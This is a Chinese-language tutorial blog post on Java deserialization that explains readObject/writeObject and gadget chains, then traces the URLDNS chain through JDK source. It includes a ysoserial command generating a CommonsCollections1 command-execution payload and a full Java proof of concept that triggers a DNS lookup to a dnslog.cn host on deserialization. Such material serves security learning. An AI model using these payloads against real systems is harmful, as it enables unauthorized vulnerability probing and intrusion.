java反序列化--URLDNS

JAVA反序列化–URLDNS

学习java反序列化,先从URLDNS开始

前置

我们先来了解一些java反序列化的通识知识

readObject 和 writeObject

首当其冲的就是我之前提到的readObjectwriteObject

这是java反序列化中最重要的两个函数

这里在阐述一下:

在Java的序列化(serialization)和反序列化(deserialization)过程中,readObjectwriteObject 方法起着特殊的作用,允许开发者自定义序列化和反序列化的行为。这两个方法并不是Serializable接口的一部分,但它们是在java.io.Serializable接口的实现类中经常被重写的两个私有方法。

writeObject 方法:

writeObject 方法用于在序列化过程中向输出流(通常是ObjectOutputStream)写入自定义数据。当你重写这个方法时,你可以在序列化过程中添加额外的数据,或者改变字段的序列化顺序。通常,你会首先调用s.defaultWriteObject()来序列化对象的所有非瞬态(non-transient)字段,然后添加额外的序列化逻辑。

例:

private void writeObject(ObjectOutputStream s) throws IOException {  
s.defaultWriteObject(); // 序列化对象的非瞬态字段
s.writeInt(someExtraData); // 写入额外的整数数据
}

readObject 方法:

readObject 方法用于在反序列化过程中从输入流(通常是ObjectInputStream读取自定义数据。当你重写这个方法时,你可以在反序列化过程中读取额外的数据,或者改变字段的反序列化逻辑。同样,你通常会首先调用s.defaultReadObject()来反序列化对象的所有非瞬态字段,然后添加额外的反序列化逻辑。

例:

private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {  
s.defaultReadObject(); // 反序列化对象的非瞬态字段
someExtraData = s.readInt(); // 读取额外的整数数据
}

注:

  • writeObjectreadObject 方法必须是私有的,并且它们的参数类型必须是ObjectOutputStreamObjectInputStream。这是因为这两个方法是Java序列化机制通过反射调用的特殊方法。
  • 这两个方法不应该由类的外部代码直接调用。它们仅在Java的序列化/反序列化机制内部使用。

gadget

大家读文章的时候经常见到gadget 这里简单说下

利⽤链也叫“gadget chains”,我们通常称为gadget。如果你学过PHP反序列化漏洞,那么就可以将 gadget理解为⼀种⽅法,它连接的是从触发位置开始到执⾏命令的位置结束,在PHP⾥可能 是 __desctructeval

ysoserial

这就是我们之前分析RMI后的利用工具

它是一个里程碑试的工具ysoserial

反序列化漏洞在各个语⾔⾥本不是⼀个新鲜的名词但2015年Gabriel Lawrence (@gebl)Chris Frohoff (@frohoff)在AppSecCali上提出了利⽤Apache Commons Collections(cc链)来构造命令执⾏的利⽤ 链,并在年底因为对Weblogic、JBoss、Jenkins等著名应⽤的利⽤,⼀⽯激起千层浪,彻底打开了⼀⽚ Java安全的蓝海

⽽ysoserial就是两位原作者在此议题中释出的⼀个⼯具,它可以让用户根据自己选择的利用链,生成反序列化利用数据,通过将这些数据发送给目标,从而执行用户预先定义的命令

使用:

生成cc这个gadget对应的POC:

java -jar ysoserial-master-30099844c6-1.jar CommonsCollections1 "id"

ysoserial⼤部分的gadget的参数就是⼀条命令,⽐如这⾥是 id 。⽣成好的POC发送给⽬标,如果⽬标存在反序列化漏洞,并满⾜这个gadget对应的条件,则命令 id 将被执⾏

URLDNS

理解

好 接下来我可以说一下URLDNS了

URLDNS链是Java安全中比较简单的一条利用链,无需使用任何第三方库,全依靠Java内置的一些类实现,但无法进行命令执行,只能实现对URl的访问探测(发起DNS请求),并且不限制Java版本,可以用于检测是否存在反序列化漏洞,理解好URLDNS链,那么接下来对CC链的学习就会简单许多

ysoserial就有URLDNS的利用链了

但准确来说,这个其实不能称作“利⽤链”。因为其参数不是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求

检测反序列化漏洞:

  • 使⽤Java内置的类构造,对第三⽅库没有依赖
  • 在⽬标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞

利用链分析

我们可以通过ysoserial的URLDNS利用链来看看是怎么个事

看到 URLDNS 类的 getObject ⽅法,ysoserial会调⽤这个⽅法获得Payload。这个⽅法返回的是⼀个对象,这个对象就是最后将被序列化的对象,在这⾥是 HashMap

我们前⾯说了,触发反序列化的⽅法是 readObject ,因为Java开发者(包括Java内置库的开发者)经常会在这⾥⾯写⾃⼰的逻辑,所以导致可以构造利⽤链

那么我们就来看看这个HashMap

我们在IDEA中创建一个java类 并在里面的主函数中写下HashMap

image-20240523161111754

CTRL+左键点进去

image-20240523161202214

注意 旁边有个结构 我们点开可以看到这个包里的所有函数 类 方便我们寻找

现在我们直接找HashMap 类的 readObject ⽅法

image-20240523161453326

审计后我们可以发现将 HashMap 的键名计算了hash

image-20240523161547410

putVal(hash(key), key, value, false, false)

既然计算了hash 那我们就看看hash里面是个怎么个事 点进去(ctrl+左键 后面就都是点进去了 )

也是在hashmap包中

image-20240523161939261

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

可以看到hash方法是调用了hashcode()方法 点进去

image-20240523162158463

是Object包中的一个方法

URLDNS 中使⽤的这个key是⼀个 java.net.URL 对象,我们看看其 hashCode ⽅法:

在我们建的这个包里访问URL 点进去

image-20240523162405585

里面同样是有个hashCode()方法 看看

image-20240523162504965

当hashCode的值不为-1是才会继续往下执行

而hashCode的默认值就是-1

image-20240523162634095

此时, handler 是 URLStreamHandler 对象(的某个⼦类对象),继续跟进其 hashCode ⽅法:

image-20240523162723296

protected int hashCode(URL u) {
int h = 0;

// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();

// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}

// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();

// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();

// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();

return h;
}

可以看到这⾥有调⽤ getHostAddress ⽅法

我这里跟出来是这样的

image-20240523162907845

但是 也可能跟出来是这样的:

image-20240523163123169

版本问题 不影响

我们⽤⼀些第三⽅的反连平台就可以查看到这次请求,证明的确存在反序列化漏洞(DNS外带验证)

所以,整个 URLDNS 的Gadget其实清晰⼜简单:

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress->getByName()

要构造这个Gadget,只需要初始化⼀个 java.net.URL 对象,作为 key 放在 java.util.HashMap 中;然后,设置这个 URL 对象的 hashCode 为初始值 -1 ,这样反序列化时将会重新计算 其 hashCode ,才能触发到后⾯的DNS请求,否则不会调⽤ URL->hashCode()

另外,ysoserial为了防⽌在⽣成Payload的时候也执⾏了URL请求和DNS查询,所以重写了⼀ 个 SilentURLStreamHandler 类,这不是必须的

这里也有个其他的exp通过利用URLDNS来进行DNSlag

package org.example;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://mm4dhq.dnslog.cn/");//这里替换为DNSLog平台分配的地址
Class clas = url.getClass();
Field field = clas.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url,123); //将url的hashcode属性改为123使其不等于-1
map.put(url,"2333"); //这里的value用不上,随便设置
field.set(url,-1);//put完之后,我们就需要将hashcode属性改回成-1,从而能执行handler.hashcode
try {
//序列化
FileOutputStream outputStream = new FileOutputStream("./2.ser");
ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
outputStream1.writeObject(map);
outputStream.close();
outputStream1.close();
//反序列化,此时触发dns请求
FileInputStream inputStream = new FileInputStream("./2.ser");
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
objectInputStream.readObject();
objectInputStream.close();
inputStream.close();
}catch (Exception e){
e.printStackTrace();
}
}
}